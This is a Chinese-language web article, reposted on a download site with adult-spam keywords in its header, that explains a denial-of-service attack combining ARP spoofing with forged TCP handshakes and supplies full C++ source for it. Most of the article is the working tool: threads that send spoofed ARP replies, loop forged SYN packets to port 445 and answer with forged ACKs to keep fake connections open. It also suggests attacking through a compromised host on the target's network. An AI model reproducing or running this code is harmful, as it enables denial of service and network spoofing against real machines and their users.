中文字幕在线观看,亚洲а∨天堂久久精品9966,亚洲成a人片在线观看你懂的,亚洲av成人片无码网站,亚洲国产精品无码久久久五月天

安全技術(shù):基于ARP欺騙的TCP偽連接DOS

2017-11-30    來源:

容器云強(qiáng)勢(shì)上線!快速搭建集群,上萬Linux鏡像隨意使用

  從某種意義上說,如果能夠制造TCP偽連接,那么D.o.S也就比較容易實(shí)現(xiàn)了。以前LionD8就曾經(jīng)用這個(gè)思路做出了一個(gè)新型D.o.S,而今天,我用的也是這個(gè)思路。但是,如果直接偽造TCP三次握手而不作其他任何處理,那卻是不行的。因?yàn)椋?dāng)攻擊的目標(biāo)主機(jī)接收到我們發(fā)過去的偽造的SYN包后會(huì)發(fā)回一個(gè)SYN+ACK包(也就是第二次握手)。而當(dāng)我們的系統(tǒng)收到這個(gè)SYN+ACK包后,由于系統(tǒng)內(nèi)并沒有發(fā)起真正的TCP連接,因此系統(tǒng)會(huì)發(fā)回一個(gè)RST包,這個(gè)包將使目標(biāo)主機(jī)重置連接。這樣,這個(gè)偽連接就建立失敗了。

  要解決這個(gè)問題,辦法有不少,而我這里要用的方法就是ARP欺騙。首先,我們要對(duì)目標(biāo)主機(jī)進(jìn)行ARP欺騙,讓它認(rèn)為我們是同一網(wǎng)段中的另一臺(tái)機(jī)器。然后我們就可以偽裝這臺(tái)機(jī)器向目標(biāo)主機(jī)發(fā)起TCP偽連接了。這樣一來,即使目標(biāo)主機(jī)返回一個(gè)SYN+ACK包,這個(gè)包也不會(huì)進(jìn)入到我們的系統(tǒng)(因?yàn)檫@個(gè)包的目的IP不會(huì)是我們而應(yīng)該是我們偽裝的那臺(tái)主機(jī)的IP),這樣,我們的系統(tǒng)也不會(huì)向目標(biāo)主機(jī)發(fā)送RST包了。

  打個(gè)比方,假設(shè)我們是主機(jī)A,現(xiàn)在我想要攻擊主機(jī)B。首先,我先偽裝主機(jī)C對(duì)B進(jìn)行ARP欺騙(以C的IP地址和A的MAC地址構(gòu)造ARP應(yīng)答包發(fā)送到B),這樣,B的ARP緩存中就會(huì)記錄下C的IP對(duì)應(yīng)A的MAC地址。然后,我們?cè)僖訡的IP為源IP構(gòu)造SYN數(shù)據(jù)包,向B發(fā)起TCP偽連接。當(dāng)B收到這個(gè)SYN包之后,它會(huì)構(gòu)造一個(gè)SYN+ACK包發(fā)往C。但是,由于此時(shí)在B的ARP緩存中記錄著:C的IP對(duì)應(yīng)A的MAC地址,因此,這個(gè)SYN+ACK包實(shí)際上被發(fā)送到了A。雖然,這個(gè)包將被A的系統(tǒng)所丟棄(因?yàn)檫@個(gè)包的目的IP是C的IP而不是A的IP,所以A的系統(tǒng)將會(huì)丟棄這個(gè)包),但是,我們?nèi)匀豢梢詮逆溌穼又苯訉⑦@個(gè)數(shù)據(jù)幀獲取下來。得到了這個(gè)SYN+ACK包之后,我們需要再次偽裝C向B發(fā)回一個(gè)ACK包完成第三次握手。這樣,TCP初始化連接的三次握手都完成了,我們的偽連接也成功建立了!

  偽連接建立之后,我們還可以繼續(xù)向目標(biāo)主機(jī)發(fā)送數(shù)據(jù),來保證TCP連接的存活。

  這里,有幾個(gè)需要注意的問題:首先,為了保證攻擊過程中目標(biāo)主機(jī)的ARP緩存不被更改,我們需要持續(xù)不斷的對(duì)其進(jìn)行ARP欺騙;第二,為了防止在攻擊過程中我們偽裝的主機(jī)向目標(biāo)主機(jī)發(fā)起通信,刷新目標(biāo)主機(jī)的ARP緩存,對(duì)我們的攻擊造成影響,我們還可以對(duì)偽裝主機(jī)也同時(shí)進(jìn)行ARP欺騙,以增加攻擊成功的幾率。

  好了,說了這么多,下面就給出我實(shí)現(xiàn)的源代碼,歡迎大蝦們多多指教。


// DoS_By_ARPCheat.cpp : Defines the entry point for the console application.

//

#include "stdafx.h"

#include "winsock2.h"

#include "Packet32.h"

#include "stdio.h"

#pragma comment(lib, "packet")

#pragma comment(lib, "ws2_32")

//下面幾個(gè)宏是測(cè)試用的主機(jī)的IP和MAC

#define SIMULATE_MAC "0011111d735a" //偽裝主機(jī)的MAC地址

#define TARGET_MAC "001111c6f7fe" //目的主機(jī)的MAC地址

#define LOCAL_MAC "00e06e41508f" //本機(jī)MAC地址

#define TARGET_IP "211.83.97.24" //目的主機(jī)的IP

#define SIMULATE_IP "211.83.97.16" //偽裝主機(jī)的IP

#define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式

#pragma pack(push, 1)

struct ET_HEADER //以太網(wǎng)頭部

{

unsigned char eh_dst[6];

unsigned char eh_src[6];

unsigned short eh_type;

};

struct ARP_HEADER //ARP頭部

{

unsigned short arp_hdr;

unsigned short arp_pro;

unsigned char arp_hln;

unsigned char arp_pln;

unsigned short arp_opt;

unsigned char arp_sha[6];

unsigned long arp_spa;

unsigned char arp_tha[6];

unsigned long arp_tpa;

};

struct IP_HEADER //IP頭部

{

char m_ver_hlen; //4位版本號(hào),4位ip頭部長(zhǎng)

char m_tos;

USHORT m_tlen;

USHORT m_ident;

USHORT m_flag_frag; //3位標(biāo)志位(1位未用位,1位DF,1位MF),13位片斷偏移量

char m_ttl;

char m_protocol;

USHORT m_cksum;

ULONG m_sIP;

ULONG m_dIP;

};

struct TCP_HEADER //TCP頭部

{

USHORT m_sport;

USHORT m_dport;

ULONG m_seq;

ULONG m_ack;

char m_hlen_res4; //4位tcp頭部長(zhǎng),6位保留的前4位

char m_res2_flag; //6位保留的后2位,6位標(biāo)志

USHORT m_win;

USHORT m_cksum;

USHORT m_urp;

};

struct PSD_HEADER //偽頭部,計(jì)算校驗(yàn)和用

{

ULONG m_saddr; //源地址

ULONG m_daddr; //目的地址

char m_mbz;

char m_ptcl; //協(xié)議類型

USHORT m_tcpl; //TCP長(zhǎng)度

};

struct TCP_OPTION //TCP選項(xiàng),發(fā)起偽連接時(shí)要用來與對(duì)方協(xié)商

{

USHORT unKnown;

USHORT maxSegSize; //MSS,以太網(wǎng)一般為1460

char no1;

char no2;

USHORT SACK;

};

struct CHEAT_ARP_INFO //ARP欺騙線程的參數(shù)

{

char simulateIP[20];

char targetIP[20];

char targetMAC[13];

};

#pragma pack(pop)

USHORT CheckSum(USHORT *buffer, int size); //計(jì)算校驗(yàn)和的函數(shù)

void StrToMac(char *str,char *mac); //字符串轉(zhuǎn)換為MAC地址

void ListenACK(); //監(jiān)聽函數(shù),監(jiān)聽對(duì)方的回包

void AssayAndSendData(LPPACKET lpPacket); //分析數(shù)據(jù)幀并發(fā)送回包

DWORD WINAPI ArpCheat(void *pInfo); //ARP欺騙線程

DWORD WINAPI SendSyn(void *no); //發(fā)送SYN包的線程

void Info();

LPADAPTER lpAdapter=NULL; //適配器指針

USHORT ipID=1638; //IP標(biāo)識(shí)

USHORT sourcePort=1056; //起始源端口

USHORT targetPort=445; //目的端口

int main(int argc, char* argv[])

{

Info();

WSADATA wsaData;

if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)

{

printf("WSAStartup error!\n");

return -1;

}
//打開適配器:

WCHAR adapter_name[2048]={0};

ULONG adapter_length=1024;

//取得所有適配器的名字.

if(PacketGetAdapterNames((char*)adapter_name, &adapter_length)==FALSE)

{

//adapter_name:一個(gè)用于存放適配器的名字的緩沖區(qū)

//adapter_length:這個(gè)緩沖區(qū)的大小

printf("PacketGetAdapterNames error:%d\n",GetLastError());

return -1;

}

WCHAR *name1,*name2;

ULONG i;

static CHAR adapter_list[10][1024];

name1=adapter_name;

name2=adapter_name;

i=0;

//把a(bǔ)dapter_name中的適配器名字,分別copy到adapter_list[]中,i從0開始為第一個(gè)

while((*name1!='\0') || (*(name1-1)!='\0'))

{

if(*name1=='\0')

{

memcpy(adapter_list[i],name2,2*(name1-name2));

name2=name1+1;

i++;

}

name1++;

}

//默認(rèn)打開第一塊適配器

lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)adapter_list[0]);

if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))

{

printf("Unable to open the driver, Error Code : %lx\n", GetLastError());

return -1;

}

//創(chuàng)建ARP欺騙線程:

CHEAT_ARP_INFO info1={0},info2={0};

memcpy(info1.simulateIP,SIMULATE_IP,strlen(SIMULATE_IP));

memcpy(info1.targetIP,TARGET_IP,strlen(TARGET_IP));

memcpy(info1.targetMAC,TARGET_MAC,strlen(TARGET_MAC));

::CreateThread(NULL,0,ArpCheat,&info1,0,NULL);

memcpy(info2.simulateIP,TARGET_IP,strlen(TARGET_IP));

memcpy(info2.targetIP,SIMULATE_IP,strlen(SIMULATE_IP));

memcpy(info2.targetMAC,SIMULATE_MAC,strlen(SIMULATE_MAC));

::CreateThread(NULL,0,ArpCheat,&info2,0,NULL);

Sleep(50);

//發(fā)送TCP偽連接的SYN數(shù)據(jù)幀:

::CreateThread(NULL,0,SendSyn,NULL,0,NULL);

ListenACK(); //循環(huán)監(jiān)聽數(shù)據(jù)包

PacketCloseAdapter(lpAdapter); //關(guān)閉適配器

::WSACleanup();

return 0;

}

DWORD WINAPI SendSyn(void *no)

{

Sleep(100);

while(TRUE) //循環(huán)發(fā)送SYN包發(fā)起偽連接

{

char s_mac[6]={0},d_mac[6]={0};

char sendSynBuf[128]={0};

ET_HEADER et_header={0};

IP_HEADER ip_header={0};

TCP_HEADER tcp_header={0};

TCP_OPTION tcp_option={0};

PSD_HEADER psd_header={0};

//填充以太頭部:

StrToMac(LOCAL_MAC,s_mac); //local_mac

memcpy(et_header.eh_src,s_mac,6);

StrToMac(TARGET_MAC,d_mac); //dest_mac

memcpy(et_header.eh_dst,d_mac,6);

et_header.eh_type=htons(0x0800); //類型為0x0800表示這是IP包

//填充IP頭部:

ip_header.m_ver_hlen=(4<<4|5);

ip_header.m_tos=0;

ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));

ip_header.m_ident=htons(ipID++);

ip_header.m_flag_frag=htons(16384); //設(shè)置為不分片

ip_header.m_ttl=128;

ip_header.m_protocol=IPPROTO_TCP; //高層協(xié)議為TCP

ip_header.m_cksum=0;

ip_header.m_sIP=inet_addr(SIMULATE_IP); //源IP填為偽裝主機(jī)的IP

ip_header.m_dIP=inet_addr(TARGET_IP); //目的IP

ip_header.m_cksum=CheckSum((USHORT *)&ip_header,sizeof(IP_HEADER));

//填充TCP頭部以及TCP選項(xiàng):

tcp_header.m_dport=htons(targetPort);

tcp_header.m_sport=htons(sourcePort++);

tcp_header.m_seq=::GetTickCount(); //初始化序列號(hào)

tcp_header.m_ack=0;

tcp_header.m_hlen_res4=(((sizeof(TCP_HEADER)+sizeof(TCP_OPTION))/4)<<4);

tcp_header.m_res2_flag=2; //標(biāo)識(shí)為SYN包

tcp_header.m_win=htons(16384);

tcp_header.m_cksum=0;

tcp_header.m_urp=0;

tcp_option.unKnown=htons(516);

tcp_option.maxSegSize=htons(1460); //MSS,以太網(wǎng)一般為1460

tcp_option.no1=1;

tcp_option.no2=1;

tcp_option.SACK=htons(1026);

//計(jì)算TCP校驗(yàn)和:

psd_header.m_daddr=ip_header.m_dIP;

psd_header.m_saddr=ip_header.m_sIP;

psd_header.m_mbz=0;

psd_header.m_ptcl=IPPROTO_TCP;

psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+sizeof(TCP_OPTION));

char tcpBuf[128]={0};

memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));

memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));

memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));

tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));

//構(gòu)造SYN數(shù)據(jù)幀:

memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));

//發(fā)送偽造的SYN包:

LPPACKET lpPacket;

lpPacket=PacketAllocatePacket(); //給PACKET結(jié)構(gòu)指針分配內(nèi)存

PacketInitPacket(lpPacket,sendSynBuf,128); //初始化PACKET結(jié)構(gòu)指針
if(PacketSetNumWrites(lpAdapter,1)==FALSE) //設(shè)置發(fā)送次數(shù)

{

printf("Warning: Unable to send more than one packet in a single write!\n");

continue;

}

if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE)

{

printf("Error sending the packets!\n");

continue;

}

PacketFreePacket(lpPacket); //釋放PACKET結(jié)構(gòu)指針

Sleep(100);

}

return 0;

}

DWORD WINAPI ArpCheat(void *pInfo)

{

CHEAT_ARP_INFO info={0};

memcpy(&info,pInfo,sizeof(CHEAT_ARP_INFO));

//偽造ARP應(yīng)答包:

char s_mac[6]={0},d_mac[6]={0};

ET_HEADER et_header={0};

ARP_HEADER arp_header={0};

char buffer[64]={0};

StrToMac(LOCAL_MAC,s_mac); //源MAC地址

memcpy(et_header.eh_src,s_mac,6);

StrToMac(info.targetMAC,d_mac); //目的MAC地址

memcpy(et_header.eh_dst,d_mac,6);

et_header.eh_type=htons(0x0806); //類型為0x0806表示這是ARP包

arp_header.arp_hdr=htons(0x0001); //硬件地址類型以太網(wǎng)地址

arp_header.arp_pro=htons(0x0800); //協(xié)議地址類型為IP協(xié)議

arp_header.arp_hln=6; //硬件地址長(zhǎng)度為6

arp_header.arp_pln=4; //協(xié)議地址長(zhǎng)度為4

arp_header.arp_opt=htons(0x0002); //標(biāo)識(shí)為ARP應(yīng)答

arp_header.arp_spa=inet_addr(info.simulateIP); //source_ip

memcpy(arp_header.arp_sha,et_header.eh_src,6);

arp_header.arp_tpa=inet_addr(info.targetIP); //target_ip

memcpy(arp_header.arp_tha,et_header.eh_dst,6);

memcpy(buffer,&et_header,sizeof(ET_HEADER));

memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));

//發(fā)送偽造地ARP應(yīng)答包:

LPPACKET lpPacket;

lpPacket=PacketAllocatePacket(); //給PACKET結(jié)構(gòu)指針分配內(nèi)存

PacketInitPacket(lpPacket,buffer,64); //初始化PACKET結(jié)構(gòu)指針

if(PacketSetNumWrites(lpAdapter,1)==FALSE) //設(shè)置發(fā)送次數(shù)

printf("warning: Unable to send more than one packet in a single write!\n");

while(TRUE)

{

if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE) //不斷發(fā)送偽造的ARP應(yīng)答包達(dá)到欺騙目標(biāo)主機(jī)的目的

{

printf("Error sending the packets!\n");

break;

}

Sleep(3000);

}

PacketFreePacket(lpPacket); //釋放PACKET結(jié)構(gòu)指針

return 0;

}

void ListenACK()

{

LPPACKET lpPacket;

char recvBuf[512]={0};

PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_DIRECTED); //設(shè)置網(wǎng)卡為直接模式

PacketSetBuff(lpAdapter,1024); //設(shè)置網(wǎng)卡接收數(shù)據(jù)包的緩沖區(qū)大小

PacketSetReadTimeout(lpAdapter,2); //設(shè)置接收到一個(gè)包后的“休息”時(shí)間

while(TRUE)

{

lpPacket=PacketAllocatePacket(); //給PACKET結(jié)構(gòu)指針分配內(nèi)存

PacketInitPacket(lpPacket,recvBuf,512); //初始化PACKET結(jié)構(gòu)指針

if(PacketReceivePacket(lpAdapter,lpPacket,TRUE)==TRUE) //接收數(shù)據(jù)幀

AssayAndSendData(lpPacket); //分析數(shù)據(jù)包并發(fā)送ACK包

else

printf("Recv Error!\n");

//每次收包后重置lpPacket:

PacketFreePacket(lpPacket);

memset(recvBuf,0,512);

Sleep(10);

}

PacketFreePacket(lpPacket); //釋放lpPacket

return;

}

USHORT CheckSum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1)

{

cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size)

cksum += *(UCHAR*)buffer;

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}

void StrToMac(char *str,char *mac) //自定義的將字符串轉(zhuǎn)換成mac地址的函數(shù)

{

char *str1;

int i;

int low,high;

char temp;

for(i=0;i<6;i++)

{

str1=str+1;

switch(*str)

{

case 'a':high=10;

break;

case 'b':high=11;

break;

case 'c':high=12;

break;

case 'd':high=13;

break;

case 'e':high=14;

break;

case 'f':high=15;

break;

default:temp=*str;

high=atoi(&temp);

}

switch(*str1)

{

case 'a':low=10;

break;

case 'b':low=11;

break;

case 'c':low=12;

break;

case 'd':low=13;

break;

case 'e':low=14;

break;

case 'f':low=15;

break;

default:temp=*str1;

low=atoi(&temp);

}

mac[i]=high*16+low;

str+=2;

}

}
void AssayAndSendData(LPPACKET lpPacket)

{

char *buf;

bpf_hdr *lpBpfhdr;

ET_HEADER *lpEthdr;

in_addr addr={0};

buf=(char *)lpPacket->Buffer;

lpBpfhdr=(bpf_hdr *)buf;

lpEthdr=(ET_HEADER *)(buf+lpBpfhdr->bh_hdrlen);

if(lpEthdr->eh_type==htons(0x0800)) //判斷是否為IP包

{

IP_HEADER *lpIphdr=(IP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER));

if( ( inet_addr(SIMULATE_IP)==lpIphdr->m_dIP ) && ( inet_addr(TARGET_IP)==lpIphdr->m_sIP ) && (lpIphdr->m_protocol==IPPROTO_TCP) ) //判斷所收到的數(shù)據(jù)包的傳輸層協(xié)議、源及目的IP

{

TCP_HEADER *lpTcphdr=(TCP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER)+sizeof(IP_HEADER));

if( ( (lpTcphdr->m_res2_flag & 0x10)!=0 ) && ( lpTcphdr->m_win!=0 ) ) //判斷是否為帶ACK標(biāo)記的包并判斷目標(biāo)主機(jī)接收窗口是否已為0

{

char s_mac[6]={0},d_mac[6]={0};

char sendSynBuf[128]={0};

char *data="ffantasyYD";

ET_HEADER et_header={0};

IP_HEADER ip_header={0};

TCP_HEADER tcp_header={0};

PSD_HEADER psd_header={0};

StrToMac(LOCAL_MAC,s_mac); //local_mac

memcpy(et_header.eh_src,s_mac,6);

StrToMac(TARGET_MAC,d_mac); //dest_mac

memcpy(et_header.eh_dst,d_mac,6);

et_header.eh_type=htons(0x0800); //類型為0x0800表示這是IP包

ip_header.m_ver_hlen=(4<<4|5);

ip_header.m_tos=0;

ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+strlen(data));

ip_header.m_ident=htons(ipID++);

ip_header.m_flag_frag=htons(16384); //設(shè)置為不分片

ip_header.m_ttl=128;

ip_header.m_protocol=IPPROTO_TCP; //高層協(xié)議為TCP

ip_header.m_cksum=0;

ip_header.m_sIP=inet_addr(SIMULATE_IP);

ip_header.m_dIP=inet_addr(TARGET_IP);

ip_header.m_cksum=CheckSum((USHORT *)&ip_header,sizeof(IP_HEADER));

tcp_header.m_dport=lpTcphdr->m_sport;

tcp_header.m_sport=lpTcphdr->m_dport;

tcp_header.m_seq=lpTcphdr->m_ack; //序列號(hào)為接收到包的ack號(hào)

if(lpTcphdr->m_res2_flag==0x12) //若收到的包是SYN+ACK包,則ACK號(hào)為接收到包的序列號(hào)加1

tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+1);

else //若收到的包不是SYN+ACK包,則ACK號(hào)為接收到包的序列號(hào)加上包的數(shù)據(jù)部分長(zhǎng)度

tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+ntohs(lpIphdr->m_tlen)-40);

tcp_header.m_hlen_res4=((sizeof(TCP_HEADER)/4)<<4);

tcp_header.m_res2_flag=0x10; //設(shè)置為ACK包

tcp_header.m_win=lpTcphdr->m_win;

tcp_header.m_cksum=0;

tcp_header.m_urp=0;

psd_header.m_daddr=ip_header.m_dIP;

psd_header.m_saddr=ip_header.m_sIP;

psd_header.m_mbz=0;

psd_header.m_ptcl=IPPROTO_TCP;

psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+strlen(data));

char tcpBuf[128]={0};

memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));

memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));

memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),data,strlen(data));

tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+strlen(data));

memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),data,strlen(data));

//發(fā)送偽造的ACK包:

LPPACKET lpSendPacket;

lpSendPacket=PacketAllocatePacket(); //給PACKET結(jié)構(gòu)指針分配內(nèi)存

PacketInitPacket(lpSendPacket,sendSynBuf,128); //初始化PACKET結(jié)構(gòu)指針

if(PacketSetNumWrites(lpAdapter,1)==FALSE) //設(shè)置發(fā)送次數(shù)

{

printf("Warning: Unable to send more than one packet in a single write!\n");

return;

}

if(PacketSendPacket(lpAdapter,lpSendPacket,TRUE)==FALSE)

{

printf("Error sending the packets!\n");

return;

}

PacketFreePacket(lpSendPacket); //釋放PACKET結(jié)構(gòu)指針

}

}

}

return;

}

void Info()

{

printf("********************************\n");

printf("* Made by ffantasyYD *\n");

printf("* QQ:76889713 *\n");

printf("* Email:ffantasyYD@163.com *\n");

printf("* http://ffantasyyd.126.com *\n");

printf("********************************\n");

}

  注:由于以上代碼是我測(cè)試用的,因此顯得不太便于使用,很多信息都是我自己去獲取后直接寫進(jìn)程序里的,比如目標(biāo)主機(jī)的MAC地址等,這些都需要測(cè)試者自己修改。另外,這種D.o.S存在著一個(gè)局限性,那就是目標(biāo)主機(jī)必須跟我們的主機(jī)處于同一個(gè)二層網(wǎng)絡(luò)內(nèi)。但是,我們可以利用一些方法來克服這種局限性,比如,我們可以在目標(biāo)主機(jī)的網(wǎng)絡(luò)內(nèi)找一臺(tái)肉雞,這樣,我們就只需要控制那臺(tái)肉雞進(jìn)行攻擊就行了。

標(biāo)簽: 代碼 通信 網(wǎng)絡(luò) 問題

版權(quán)申明:本站文章部分自網(wǎng)絡(luò),如有侵權(quán),請(qǐng)聯(lián)系:west999com@outlook.com
特別注意:本站所有轉(zhuǎn)載文章言論不代表本站觀點(diǎn)!
本站所提供的圖片等素材,版權(quán)歸原作者所有,如需使用,請(qǐng)與原作者聯(lián)系。

上一篇:W97M.Sacep.B

下一篇:卡巴斯基不能更新時(shí)解決辦法